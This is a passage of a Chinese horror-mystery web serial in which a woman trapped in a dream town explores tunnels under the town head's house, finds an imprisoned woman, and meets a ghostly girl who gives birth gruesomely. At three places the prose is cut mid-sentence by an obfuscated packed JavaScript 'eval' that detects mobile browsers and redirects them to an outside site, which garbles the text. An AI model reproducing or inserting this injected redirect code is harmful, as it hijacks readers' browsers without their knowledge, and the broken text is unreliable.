他叹口气,走向窗边,同时避开月光照射的区域。他尚不确定自己能否站在红色月光之下。这个梦境比他想得要复杂,不同人遵循的隐藏的规则很可能不同。 突然,他眼神一凛。 连钰竟然跑到了街上。 她能够外出? 正在肆无忌惮地在月光下奔跑的连钰不知道自己已经被队长发现踪迹。就算她知道,她也会趁对方不能出来时自己作死。 她顺着昨晚的路线跑向镇长家。乌黑的大门紧闭,她回忆了路远来时的动作,像模像样叩响几声后推门而入。 院子里的景色和昨晚别无二致,除了在血色月光下格外诡异,没什么特别的。 连钰径直走向枯井。 没错,她今晚的行动早有计划,因为她从旁人的话语里已经确定自己绝不是镇子上的原居民。 她大胆假设在月亮愤怒时会疯狂的只有镇子土生土长的人。 再者说,如果只能在月亮微笑时出门,岂不是每次探索都要受镇子里人的监视。 只有在他们都不在街上的时候,自己才好活动。 连钰直接将视线投向枯井内部。今晚的月光不够明亮,像层血雾,反而有些阻碍人的视线,让连钰本来良好的视力显得只有4.8。 她扶住井的边沿,将上半身探入井内。 没有。井底黑乎乎的一片,那个女人不在这儿。 难道是镇长推测会有人来,将女人转移了? 直觉告诉连钰,这个赤身女人一定很重要。 她环顾四周。在今晚,镇长很可能也没出门,那么她不能直接进入房间。 到现在,镇长都没有出现,可能是默认敲门的是路远或者路大叔。但她不能耽搁,必须想个法子一探镇长家。 连钰深吸一口气,重新将目光投回枯井。 只有这样了…… 35. 迷雾小镇(5)地底 连钰将上半身探入枯井,摸到砖石间的缝隙。昨天她就看过,以她能清楚看见那个女人脸庞的程度来看,井不会很高。 她四下看了看,助跑后跳起打落院墙上的瓦片。不成想瓦片连着掉落好几片,划过墙体的声音吓得她一惊,紧接着眼疾手快接住瓦片。 行,等离开梦境,我高低能去马戏团表演谋生。 已经有了职业规划的连钰捧着瓦片回到枯井旁,估摸着选了两片合适的放到井边,接着手扶着井边进入枯井,将锋利的瓦片插-入泥缝。 我X%¥#…… 连钰忘了,她在这个梦境的身体远不如上个梦境那么耐造结实,她努力收紧核心,硬撑着利用瓦片下行了几下后就不得不做好姿势,松手跳下。 为了不惊动可能在家的镇长,她甚至没叫出声。 井底很干燥,这意味着灰尘很大,连钰跳下后兜头就被激起的土扬了一脸。 她麻木地抹了抹脸,内心哭泣。要是找不到那个女人,我会很失落的。 好在老天眷顾,井底的确有个一米高的通道。连钰矮下身,直接开爬。 大概爬了几米后,前方就封死了,左右都有通道。连钰四处摸索,还摸到了头顶的空洞。 这下有了三个选择。 她想了想,觉得地底下的两条路搞不好有一条是陷阱,二选一万一选错了再也出不来也很麻烦。头顶的应该是去镇长家里,她或许可以先往上一探,根据声音等信息决定要不要出去,如果听起来外面有人,她就不出去。 想到这,她知道自己今晚一个人出来实在有点莽撞。但她不知道路远的房间在哪,在路大叔在家的时候去路家,很可能会被路大叔当作“疯子”处理。 连钰知道自己已经变了,有时候作出的行为在从前的她看来都无法理解。可她就是笃定,自己在梦境里这样反而是留声机想要的。 或许,她只是弄清楚了自己的角色定位。 留声机无意轻易杀死她,它想要的自始至终都是一出好戏。 作死是她目前唯一掌握的演戏技巧。 试一试吧。她想道。 连钰站起来摸到了铁制栏杆,那么这里的确是可以供人上下的。 她收紧肌肉,小心翼翼不发出声音地爬到了上方。她伸手摸到了冰凉的木板。 木头? 这里是通往镇长家里的什么地方? 地窖?不对,这个高度,她应该是要回到地面了。 很可能是衣柜或橱柜。 如果是柜子,那么她推开木板后不会第一时间暴露自己。 连钰轻轻推开一条缝,外面仍是一片黑暗。她仰头将鼻孔凑到缝隙嗅闻。 除了木头的味道,还有一点点皂粉的清新。是衣柜。 她心下略放松,一点点推开木板,努力减少发出的声响。等到她终于爬进衣柜,已经是满身大汗。 衣柜里挂着的衣服不多。她没伸手摸,怕自己的脏手留下印子。可惜的是,衣柜门是全封闭的,她没法从缝隙看外界是什么样。 别急,她在心里说。 连钰缓缓倾斜上身贴在柜门后,倾听外面的动静。 今晚很安静,镇子里不仅没人出门,更像是都沉睡了一般,没有发出任何动静。其实连钰早就有所感觉,她拨瓦片的声响非常小,就好像这个夜晚把人能制造出的动静吸收了。 此时此刻,镇长的衣柜外面也没有声音。 再等等……不能着急。 过了一会儿,离柜门不远的地方发出吱呀一声。 有人进来了! 她心神一凛,还好刚刚没有出去。 来人脚步很轻,鞋底擦过地面,径直冲着衣柜走来。 他要开柜门吗? 连钰扶住柜门的手不由得收紧。柜门内-侧只有指尖能抓住的横木,指头能用到的力气很有限,如果外面的人要开柜子,她没法阻拦。 不能慌,如果现在自己动了,外面的人肯定能发现,那就是彻底死路一条。 现在,只有赌。 连钰脸贴在柜门上一动不动,她甚至感觉自己皮肤渗出的汗液在柜门上留下印记。柜子里的空气很闷,地底下能交换进的空气有限,而她现在又靠着柜门这侧,更是觉得呼吸困难。 外面的人在柜子前停下,连钰的心脏恨不得也要停止跳动,有一瞬间她甚至怀疑外面的人会不会听见她的心跳声。 走啊,快走啊你。 不知道过了多久,在连钰脸憋得通红的时候,外面的人终于动了。连钰恍惚间好像听见院子里有什么动静。 会不会是我的错觉,毕竟我在这儿憋太久了…… 连钰都要怀疑是自己听错了。可门吱呀了一声,那个人走了。 她没有立即动弹,身体太僵硬,她需要缓缓。 就在她想要起身的时候,一道听起来更为轻快的脚步声从远至近响起。 “你要的燃料,我送来了。” 门外的声音格外熟悉。是路远。 他怎么会来?他在月亮愤怒的时候出门,还见镇长,不会引起对方怀疑吗? 可没等连钰继续思考,接下来发生的事让她心跳加速,浑身麻木。 木门吱呀一声后打开,有人从房间内出去。 房间的人,一直没有走。 之前木门开关的动静是他故意制造出来的。他一开始进房间没有关门。 他在等自己自投罗网。 想通了这点后的连钰忍住呕吐的反应,一点点往通道处挪动。 门外的路远和镇长还在交谈,可连钰没有贴着柜门,听不太清楚。 她下到了通道里,盖好木板,一边大口喘着气一边思考。 之前自己利用路远的敲门方法混进来,没多久后路远的确出现了,镇长会不会打消疑虑? 如果她是镇长,她在摆脱路远后应该会检查自己最重要的东西。那么镇长可能会等会去见那个女人?还是别的什么。 如果只是为了关那个女人,他没必要挖这么多地下通道,地底下肯定有别的东西。 既然地底下有空间,要是她来囚禁那个女人,她会一次性把女人和别的东西放在一个地方,这样每次检查就能都检查到。 现在顺着原路返回,路远能不能接应住自己……镇长会不会看着路远离开? 连钰知道留给自己的时间不多,她必须尽快做出选择。 她努力镇定,想了想。路远应该不会来接她。 镇长已经起了疑心,不可能让路远在没有他监视的情况下在他家继续活动。 而且,路远也没办法直接闯进镇长房间,从柜子里的出口接应。而枯井那边,除非有工具,否则上去肯定要花很长时间,也不现实。 连钰缩回岔路口,就在她静静待在原地的时候,通道里的空气流动让她灵光一现。 有风。 虽然很轻,但左手边的确传来了微风。 有可能这个路口后面的空间有别的出口…… 连钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575606|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :我就不信了,今晚我一定要找到那个被囚禁的女人,要不然也得捞点什么走。 只要找到原身的真实身份,她就能离开梦境,在梦境里身死也无所谓。 连钰爬得有些累,这条通道比之前的长很多,她直觉这条路通往的地方已经不在镇长家的范围。 要是是陷阱,也未免大费周章了。大概这条路通往的的确是镇长需要隐藏的空间。 通道的尽头有微光。连钰钻出洞口,发现这里和她想象得有些不一样。 这是一处有着半球形穹顶的空间,大约有一个足球场那么大。正中-央是一棵约两米高的树,树叶形状奇特,片片都有巴掌那么大,两片宽阔的叶子中间夹着一颗果实。 连钰粗略扫去,已经发现有红色、绿色和黑色的果子。 看上去就有毒…… 她继续观察四周,发现右侧远方有一处石台,前方放有常见的瓜果祭品。 大概是因为地底空气流通不够快,这处空间只有石台处有几根粗壮的蜡烛燃烧,然而连钰第一时间注意到的却是没有烛火映照的大树。 她定睛一看,树的周围围绕着星星点点的橘黄-色光点,像是萤火虫。 那个女人不在这吗…… 连钰其实有点失落。这个镇子让她感到很不舒服,尽管确认了隔壁大哥是上个梦境的队长,队长也在一直帮自己,但是无助的感觉是无法分享的。 她很希望能够见到那个女人,她有预感,那个女人的遭遇和她类似。或许,她的下场就是如今的无名女人。 “咳咳……”一阵轻微的咳嗽声在石台方向响起。地底太安静,以至于一点点动静都会被放大。 连钰爬出洞口,僵硬地走向石台,在后方发现了那个女人。 女人没有睁开眼睛,咳完后她似乎好了一些,靠坐在石头上休息。 连钰有些踌躇,她发现这个女人是真的一丝不-挂,浑身上下连片布都没有,好在没有伤口和淤青,大概没有被虐待。而且对方闭着眼睛,没有理睬她的意思,让她突然社恐。 应该说些什么好呢…… “那个,你昨晚是想要说什么吗?” 连钰还记得自己没时间犹豫,想了个稳妥的内容。谁料对方突然睁大眼睛,漆黑的眸子要瞪出眼眶一般死死盯着说话的连钰。 连钰被她突如其来的举动吓一跳,往后退了一步,对方一看竟直接扑了上来。 好在连钰感到女人似乎没有恶意,任由对方拉住自己的胳膊。 “你还好吗?有没有人欺负你?” 女人没有回答连钰的问话,只是微微张着嘴,来回扫视连钰,好像在确认什么。 “抱歉,我真的没有时间。等会镇长肯定要下来检查,等他下来,我会找机会打晕他逃走。你有什么想说的,最好现在告诉我。” 女人听后回了神,缓缓开口,声带许久没用过,有些沙哑。 “我,我不知道。我觉得我不是……” 她缩回原地抱住自己。 “我一睁眼,就在这里。有个男人会给我送饭,他什么都不和我说,也不给我衣服。” 女人所说的男人应该就是镇长。 “他在地底下会做什么?” “他……”女人呆呆地抬头,许久不和人说话,思维显然有些迟钝,但她在努力回想。 “他有时候看树,有时候看我。” “他不回应我,我不想和他说话。” “他还会对着水,唱歌。” 36. 迷雾小镇(6)树 女人大概是很久没说话才会一开始反应迟钝,说了几句后明显流畅很多。连钰又观察了一下女人的外表,发现确实没有任何伤痕,这才放下心。 大概镇长没有对女人做什么,但是囚禁她的原因目前尚不明确。从女人努力回想的内容来看,也很难弄明白镇长究竟是在做什么。 对水唱歌,难道是一种仪式?这里的人都崇拜月亮,或许两者有关联。 “唱的什么,你还记得吗?” “我、我听不懂……” 女人大概是明白过来连钰想救她,但是又着急自己想不起有用的东西,蜷缩得更厉害,开始啃咬指甲。连钰发现她的指甲已经坑坑洼洼,显然之前女人清醒的时候已经腰了很多次。 不能再这么放着她一个人在这里待着。 连钰试着接近她,往前走了一步,女人没有反应,于是两人最终靠近。连钰摸了摸她的胳膊,发现皮肤很凉。地底温度低,女人又未着寸缕,大概这也是她习惯蜷缩的原因。 “你冷不冷?”连钰想了想脱下自己的白色棉麻长袖,她穿着这件都冷,难以想象女人在地底待这么久竟然还没有生病。 女人不知道是不是没反应过来,只是摇了摇头,但对于连钰给她穿衣服的举动倒是不反抗。甚至在愣了一下后自己配合穿上。 穿上后她瞄了连钰几眼,不太好意思地低下头。 “你怎么办?” 连钰瞅了眼自己上身仅剩的棉质小背心,空空荡荡的,动一下地底的风就嗖嗖地蹿。 “没事,我很快就会出去。”说到这,连钰心里一动。 她本来没想着现在就把女人带出去。她刚到这个梦境,还什么都不了解,不确定把女人带走会不会导致非常严重的后果。但是,就这样把女人丢在这儿,她不忍心。 在这种压抑的镇子里待着,连钰会不自觉地想要靠近任何看起来无害的同-性。 “我走不了。”女人抱着双臂,怯怯地从下望着连钰。 “我走不了的,你不用管我。一会,我来拖住他。” 连钰刚想问为什么,就被女人猛地拉倒蹲在石台后方。 她心里一惊,紧接着听见她来的洞口传来了声响。 女人抓住她的手,在她手心里写道:我冲出去。 写完,她就要抽出手,连钰反抓住后写道:你叫什么名字? 女人明显地怔愣一下,但显然是想到现在不容许愣神,她写道:不知道。 不知道…… 女人已经背过身去,等着镇长来。连钰看着她绷紧的后背上,脊梁骨凸出很明显,仿佛能透过白色棉麻看到女人并不强壮的身体。 她也失忆了。 什么人会和连钰一样完全不记得任何事?是镇长囚禁之人的特殊之处,还是说,她和连钰一样,是任务者。 连钰屏住呼吸听着镇长脚步声越来越近,没空思考太多。 镇长似乎拿了什么,走路间偶有撞击声,闷闷的。 然而,两人没等到镇长走到石台后侧。他直接在石台前方停下,放下了手里的东西,之后就没听见他动作。 他停留在那,是要做什么?石台…… 这个石台可能是祭坛?或许他拿着的就是祭品。 连钰觉得说不上哪里奇怪。地底的风吹得她后背发毛。镇长没有动静后,地底只剩下回荡的风声。 这儿的风不仅凉,更听着让人毛骨悚然,越听越觉着好像有人在哭,又像有人在抓挠石头。 听着听着,连钰觉得不对劲。 原本这样诡异的声音还较远,现在似乎离她越来越近。 在绿日时代锻炼出的反应力让她在听见刀刃划过空气的一刹那就推开女人,迅速一滚。 “当——” 看起来用久了的菜刀在石台侧边打出几粒极细小的石子,正好迸溅在连钰的发间。 刚刚镇长不是在祭拜,而是从石台上方过来伺机击毙她这个外来者! 连钰滚开的瞬间就想了很多。 他在高,我在低,赤手空拳和他战斗几乎毫无胜算。石台没有那么大,镇长从上方过来却用时稍微显慢,应该是因为从石台上下没有那么快。 可是,这点爬上爬下的时间完全不够我在通道里爬行能够甩掉他。 必须打晕他! 想到这,连钰已经从地上爬起,被她推到一旁的女人动作有些畏缩却丝毫不慢,已经顺着石台往前方跑。 连钰心下犹豫要不要和女人同一个方向跑,但是除了往石台前侧跑,好像也没有别的去路。就这一瞬间,镇长已经直起身,站在石台上俯视连钰。 连钰一个恍惚。这个镇长长得有些像故人,不是相貌,而是说不上来的气质。 镇长身形偏瘦,眉目清秀,身着黑色长袍。如果不是刚刚的那一刀,连钰会认为他只是个普通的文弱书生。 此时此刻,他伫立在石台上,没有立刻行动,就好像那一刀让他没了充足的力气。然而,连钰和他眼神对接的那一刻就知道这个人只是想看猎物会如何逃跑。 两人静默在原地,都在等对方行动。 连钰毫不退缩地直视对方。 都被你看见脸了,你会怎么样?在这之后,就算我逃出去,你会不会让人抓住我? 如果是这样,那就只能拼死一搏。 就在连钰思考地底下有什么趁手的东西能当武器使时,石台上的镇长突然动了,让她不由地浑身绷紧。 可镇长只是转向树的方向,嘴唇翕动,有几秒似乎连呼吸都呼吸不了。 趁着他被树吸引注意力的时候,连钰跑去石台前方,拉着女人就要跑。可惜女人坚定地拒绝连钰。 “我不能走,我走不了。”她来来回回的,嘴里只有这几句话。 “我会来找你。”连钰作出口型,以防石台上的镇长耳朵尖能听见。 说完,她只能一个人孤身离开。跑动间地底的冷风嗖嗖往背心里灌,耳旁的风声似乎越来越大了。 簌簌,簌簌。 中心的树也开始舞动。 不要看。连钰眯起眼,跌跌撞撞地在平滑的石头地面上跑动。在越来越鼓噪的风声里,她听见整个空间只有她跑动的啪嗒声。 他没有追上来,为什么? 连钰无暇回头查看,只是依靠听觉辨认。在她的背后,石台上的镇长已然面朝树的方向深深跪下。 她头也不回地冲进通道。 通道里也很冷,但是比那处空旷的空间要略好一些,连钰刚一进来,有种乍冷还暖的感觉,甚至身上有些燥热。 在一种奇异的热意中,她反而更冷静,双手膝盖在地面摩-擦出血丝也没有停下。 折返到岔路口时连钰直接往上进入镇长家的衣柜。 等到在衣柜里把通道口盖上时,连钰才呼出憋住的那口气。密闭的衣柜里周围空气更加闷热,体表瞬间蒙上一层粘腻的水汽,也许是刚才的动静弄出的冷汗,又或者是地底带来的水珠。 连钰感受着身上的粘腻,悄悄地压住衣柜里的通道,防止镇长真的追上来,虽然她觉得那个人一时半会不会追杀自己。 坐在通道口上,连钰终于有一点时间思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673164|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考。 刚才镇长明明有武器有时间,却在一击失败后没有再次尝试,一定和他突然看向的那棵树有关系。 藏在地底下的石台和大树,或许是祭坛和神树? 可是镇长为了击杀自己,亲自登上祭坛,这和常识也不太符合。要不是那个石台并没有连钰想的那样地位神圣,要不是因为……镇长不算笃信者。 被他囚禁的女人没有受到任何伤害,只是禁锢人身自由,镇长囚禁她是不是为了伤害,而是为了别的什么。 女人什么都不记得却坚信自己不能走,或许这位任务者的身份是祭品或圣女等等与信仰有关的角色。 连钰一边思索一边捂住心口。可能是刚才经历的太曲折,心跳还没恢复,咚咚的好似要跳出胸膛。 镇长没有再次追杀她,一个可能是那棵树突然显示了什么,让他不得不停下,另一个可能是……镇长不是真的想杀她。 连钰原本以为镇长是邪恶信仰的帮手,可是现在看来,这个瘦削男人的态度成谜。 总之无论如何,她现在都必须打开衣柜,从镇长家离开。她不能寄希望于镇长因为树的变化长时间停留于地底。 要是能在离开时在镇长家发现更多,就算是意外收获。 被捂住的心口仍然没有平复,连钰一只手捂住搏动到让人难受的胸口,另一只手推开了柜门。 出乎意料的,屋子里的摆设没有连钰想象得诡异。扑面而来的是一阵很好闻的木质香,和乡下的老屋味道相似,有股让人心静的时间沉淀的感觉。 衣柜摆在进门左手侧,连钰一出衣柜就看见了右方的房门。之前路远来时,交谈声就是从那里传来。现在路远不知道还在不在附近。 连钰迅速合上柜门,搬来一张椅子抵住,这样哪怕镇长突然上来也能被阻拦一下。 转过身她就看见房门正对着的那面墙抵着一张小木桌,桌上有尊东西盖了红布。 连钰的心在她看见那张木桌上的东西时跳得更快了,甚至让她耳膜都有鼓起来的不适感。 不对劲。 她甩了甩头,往后退了几步。 她有种掀开红布的冲动,但是理智告诉她必须离开。 恍惚间,她好像又听见女人哀泣、劝慰和叙说的杂音。一阵阵犹如潮水挤进她鼓噪的耳膜。 停下! 连钰胸口的背心已经被她抓住揉皱。 是这里的香味有问题! 她踉跄着朝房门后退,指甲已经掐入掌心的嫩肉。在地底通道擦破的伤口洇出血珠,让她得以获得片刻清醒。 连钰立即转身从房门跑出。一出门就是正堂,堂内摆有一张张木牌,大约是镇长家族的先人牌位。 正堂内的香味也很浓郁,不亚于刚才的房间,但是耳边的低语声消失了。连钰不敢多待,情急之下只是匆匆扫视一眼。右下角明显是最近的先人的牌位与其它的略有不同,就像是不专业的匠人所刻。 她记住了那张牌位,转身离开了这座香味缭绕的宅院。 外界的月色没有变化,路上仍然没有行人。 连钰顺着来路狂奔。她没有忘记梁家人对她外出的不喜。 可是跑着跑着,似乎是刚才的劳累劲儿涌上来了,连钰的胸口越发不舒服,移动时脚底的色块也让人头晕。 她喘息着停下。脚底的色块也随之平静。 红色的月光下她的影子呈深红色,而这块深红色的倒影多了些什么。 连钰怔怔地看向地面,连胸口突如其来的瘙痒都顾不上。, 她的影子多了一双手。 37. 迷雾小镇(7)白裙子 连钰的影子肩膀上多了一双手。 她再往下一扫,影子与脚连接的地方似乎也有些重叠。 看起来就像是有个人粘在她的背面。但她很确定自己的肩膀没有任何重量。 连钰深吸一口气,伸-出手摸向自己的肩膀。 空的。 看来“那个人”不是实体。 镇长放过自己,是因为知道她的身上会多一个人吗? 连钰挪动脚步,脚底与地面的摩-擦声让她略有些实感。身上又开始热了,她没法好好思考。她捂着胸口,只觉得有什么东西要钻出来。左心口又麻又痒,挠了几下还是没用。 得尽快回去…… 虽然梁家处处透着古怪,但确实是她在这个梦境唯一能待的住所。 刚才已经跑了一会儿,离梁家已经不远。连钰已经看见熟悉的景色。 红色的月光让天地间都蒙上一层血雾,唯独连钰脚下有块深色的影子,整个镇子变成只有她一人的舞台。 很快就回去了。 她拖着疲惫的身躯,经过梁家屋子旁的小巷,余光却被巷子里的白影吸引。 没办法,在一片红的天地里那抹白色太明显。 连钰定睛一看,那是个蹲在墙边的白裙女孩。 除了她,还有人在月亮愤怒时在外面? 难道这个女孩跟她一样也是外来者? 连钰上前两步,站在巷口问道:“你还好吗?” 女孩头埋在臂弯里,隐隐约约发出咕哝的声音。 连钰又上前一步,完全走进小巷。 这一次,她听清楚女孩咕哝的是什么。 “妈妈、妈妈,妈妈……” 女孩一直重复,木木地抬-起头,无神的眼珠缓缓转向连钰。 到了这个时候,连钰再不舒服也发现不对劲了。女孩的脸色即便是在红色的月光下都能看出很苍白,眼睛黑白分明,盯着人的时候让人无端恐慌。仔细看,她裸-露在外的胳膊和小腿都有淤青。 “谁伤害了你?”连钰不自觉地降低音量。 “妈妈……”女孩还是重复这两个字,吐字更加含混。 “你别怕,跟我走,我带你处理一下伤口。” 看见这个女孩,连钰会想起不愿意跟她走的地底下的女人,她没法看着女孩一个人遍体鳞伤地待着。 或许这两个女人都有相同境遇。 女孩没有反抗,任由连钰拉起她,两人一同走出小巷。连钰听见身旁还是时不时传来“妈妈”。 连钰想了想,越过梁家,要往路家走。她熟悉的只有路远,路远或许知道哪里能找到药草之类的。 谁知道被拉着走的女孩在靠近路家小院的时候突然尖叫,凄厉得像只被抓住的鸟儿。 “别怕,别怕。我只能来这找疗伤用的东西……” 连钰本就力气耗尽,女孩突然不配合,她完全拉不住,两人拉扯间连钰的胳膊甚至被抓伤。 “不去就不去,没事的。我们走。” “妈妈!妈妈!”一边尖叫一边高喊妈妈,更让连钰觉得她受了极其严重的心理创伤。她不顾女孩的挣-扎主动从背后抱住女孩,防止她伤害自己。 连钰试图言语安抚,可是效果不佳。女孩仍然叫声凄厉,然而就算这样,路两边的房子一片死寂,没有任何人探出头查看动静,更不用说走出门。 抱着抱着,连钰感觉手底下有什么东西动了一下。 她一愣,同时听见女孩的尖叫和喊妈妈的声音。 不对……不是女孩在喊妈妈。 仔细一想,女孩抬头后嘴唇并没有明显的动作。之前喊妈妈的声音太模糊,导致连钰以为女孩只是咕哝。 手底下的东西动得更明显了。 连钰不得不松手,任由女孩跌坐在地往后爬。女孩的正面一览无余,肚子越来越鼓。 是她腹腔里的东西在喊妈妈,一声比一声清楚。 连钰倒退一步。女孩不知何时停止尖叫,呆呆地瘫坐在石板路上,眼睛一眨不眨地盯着自己的肚子。 终于,她嘴唇翕动,说出了连钰遇到她后的第一句话。 “妈妈、救我。” 女孩往后仰摔躺在石板路上,重重的一下让连钰回过神。 女孩和肚子里的东西一样喊妈妈,但是自己多说了求救的话,让她觉得女孩是在被某种东西入侵,但是还存在神智。 她上前要拉起女孩查看伤势,女孩这回没有挣-扎,只是嘴巴一直张合,重复之前的话语。连钰扶起她时,不小心触碰到她的腹部,清楚地感知到里面的东西踢了一脚。 就在连钰扶着女孩思考怎样处理时,女孩一顿一顿地回过头,手主动攀上连钰的肩膀,凑近她耳旁说道: “抓住你了。” 同一时间,女孩身下喷涌出一-大股液-体,而她就像感觉不到疼痛似的,双手攀住连钰的肩膀,越箍越紧。 “不要走……”女孩的力气大的可怕,和她柔弱的外表完全不符,愣是把连钰控制住。 “留下来。都要留下来。” 女孩说的话不再单调,内容却让连钰更加心惊。到现在连钰已经反应过来,柔弱的白裙女孩和地底下的女人完全不同。 女孩喷-出的鲜血打湿连钰的脚面,温热的触感不让人温暖反而粘腻恶心。 被牢牢禁锢在原地的连钰只能眼睁睁看着女孩保持束缚她的姿势,站在她身旁完成了分娩。 小腹从平坦到鼓起再到破裂只在短短几分钟内。 女孩早已不再尖叫,在连钰耳边的低语也在婴儿破腹而出的那一刻消失,长长的石板路安静得可怕,只剩下婴儿慢慢爬出的拉扯声。 连钰屏住呼吸,颤-抖着双手接住从女孩肚子钻出的婴儿。她几乎没有站立的力气,但下意识地接住新生的生命,如果这还算生命。 婴儿看不清脸庞,浑身沾满粘液和血液,血液的铁锈味和腥味蒸腾而上,熏得连钰眼前发晕。她机械地转过身,女孩不知道什么时候放开了对她的禁制,只是默默站在原地凝视她,嘴角噙着一抹像画上去的微笑。 两人视线相接的那一刻,连钰心中好像有所明悟。她似乎做对了选择。 女孩的嘴唇张合几下,一顿一顿地吐露-出几乎不可闻的字眼。 “你要、离开。小心、女人。” 说罢,她僵硬地低下头望向婴儿,在婴儿要喊出妈妈时,伸手捂住他的嘴。 连钰不知道该不该阻拦,就在她犹豫之时,只是一眨眼,女孩和孩子消失了,连带着石板路上和连钰身上的痕迹也消失不见。于是天地重归寂静。 一片安静里,路远已经与自己的“父亲”对峙良久。他先前私自跑出去,用了换燃料的借口上镇长家中,回家时路父已经坐在一楼等着他。 路远没有解释,路父心照不宣地没有提。 他们都有无法解释的地方,都有想避开争议的想法。 比如,路远为什么能在月亮愤怒时出门,一直以来路远帮助父亲送的灯和燃料是什么做的,路父给他找的“媳妇”是哪里来的…… 现在,路远已经对某些问题有了猜测,也对之后要打探的消息有所准备,尽管他知道路父不会一再容忍他试探。 路父只是在路远回来后上前栓上门,默默沏茶倒水,在外界起伏的喧闹里喝完了一杯又一杯。 等到外界重归寂静,又过了好一会儿,他才开口:“明天开始,和梁家的小妮子离得远些。” “您之前还说要多照顾隔壁的女孩。” “那是以前,现在不必了。” 路远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699697|139462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听后嗤笑一声。 “是因为您不知道从哪找来的媳妇吗?因为我已经有了,所以不能侵占别人的。” 路父听了没有动怒,他气定神闲地呷了一口茶才继续:“不,她是路家的媳妇,不是你的。” 说罢,他因为眯眼而有所变形的眼睛冷冷地瞥了路远一眼。 “我不理解您的意思。”路远嘴上这么说,心底对自己的猜测有所信心。 他的角色大概真的不是路父的儿子。路父对他有容忍,但是没有到无限容忍的地步,现在更是除了他的小动作外,还因为某种他不知道的原因,对自己这个儿子有所不满。 这个原因会是什么…… 难不成老头子现在还能变一个路家人出来? 等等……自己只见过一面的女孩是路家的媳妇,不是自己的。 路远猛地抬头怒视刚刚起身的路父。 在他这几天忙于完成路父交代的任务,往返镇长家,趁机对连钰有所帮助之时,路父什么都没做,以往的木匠活儿都停了,经常一个人在家。 而那个女孩,路远不知道在哪儿。 “你把她藏哪儿了?!” 路远站起身,高大的身躯远比上了年纪的路父看起来有压迫感,但是路父丝毫不惧,呵呵一笑。 “回你的房间吧。你没法阻拦任何事。” “至于你想找的人……你从前不喜欢,现在也没机会找了。” 说完,路父捧起茶杯,慢悠悠踱步上楼,一点也不担心自己的儿子会不会在背后偷袭。他很清楚,自己的好儿子暂时还需要自己。 路远浑身一冷。结合连钰曾经看到的镇长家中藏着的女人,他怀疑这个镇子最大的秘密就在于这些被藏起的女人。 至于路父说的没办法救,大概是路家藏的女孩的状况已经不可逆转。 这是他之前不曾察觉的规则。 路远在一楼站了很久,过了许久才上楼回到自己房间。从房间窗户看,石板路上空荡荡的,之前发出声响的存在已经不见,他无从确认是否与连钰有关,他刚刚不曾听见她的声音。 他回过头,房间里的座钟仍在敬业地摆动,红色的月光下,黄铜指针指向十二点十二分。 躺在同样的月光下,连钰不受控制地回忆这一-夜的经历。 “梦境一定有象征意义……”她喃喃道。 就像是害怕数学的学生在梦里永远写不完数学考卷。 害怕什么,在意什么,都在梦境里毫无保留地呈现。 地底女人和白裙女孩虽然态度不同,但是都给连钰矛盾的感觉。地底的女人有机会但不愿走不能走;白裙女孩思维迟缓,先是抓住连钰,之后又放过她,并留下疑似提示的话语。 这里的女人像是被某种力量控制,不得不作出有悖于自己意愿的事情。 这个力量,会是人人惧怕的月亮吗? 应当不完全是。 在对小镇居民有害的愤怒月亮之下,连钰这样的人才能自由行走。 何况,为什么是在愤怒时反而让她有机会查探?月亮为什么而愤怒?月亮情绪的变化一定有原因。 这些谜团的谜底应当都离不开女人。 连钰想,她一定会再去解救镇长家的女人,搞清楚要怎么样那个女人才能走。 而后来遇见的白裙女孩……看似柔弱,实则拥有巨大力气。她在短短的时间内分娩婴孩又消失不见,已经足以说明她不是人类。 这些都有所象征。 这里的女人被藏起来,被充满恶意的眼神打量,被动地分娩婴孩…… 连钰觉得自己大概知道镇子的秘密是什么。是女人。 她无力地躺在月光下,右手缓缓摸向心口。那里又开始发烫。 这一次,她摸到了一处突起。 38. 迷雾小镇(8)谁是真女儿 梁家的早餐还是很沉默,只有碗勺碰撞的叮当声。梁父连装模作样的教训都没了,一家人似乎卸去伪装,两个家长都对连钰没有多余的话,除了梁母主动为她盛了粥,其余的人一点表示都没有。 然而连钰可不认为梁母这就是好人,毕竟给她下药,进阁楼查看她的就是看起来和蔼可亲的梁母。 让她有些意外的是梁锦。这天早上两人一见面,梁锦看她的眼神就说不出的奇怪,好像有话不能言。之后更是沉默无比,和一开始的活泼小女孩完全不同。 连钰一边用筷子拨粥,等上层的粥凉,一边想着会不会是因为自己昨晚夜探镇长家,身上多了个印记的缘故。 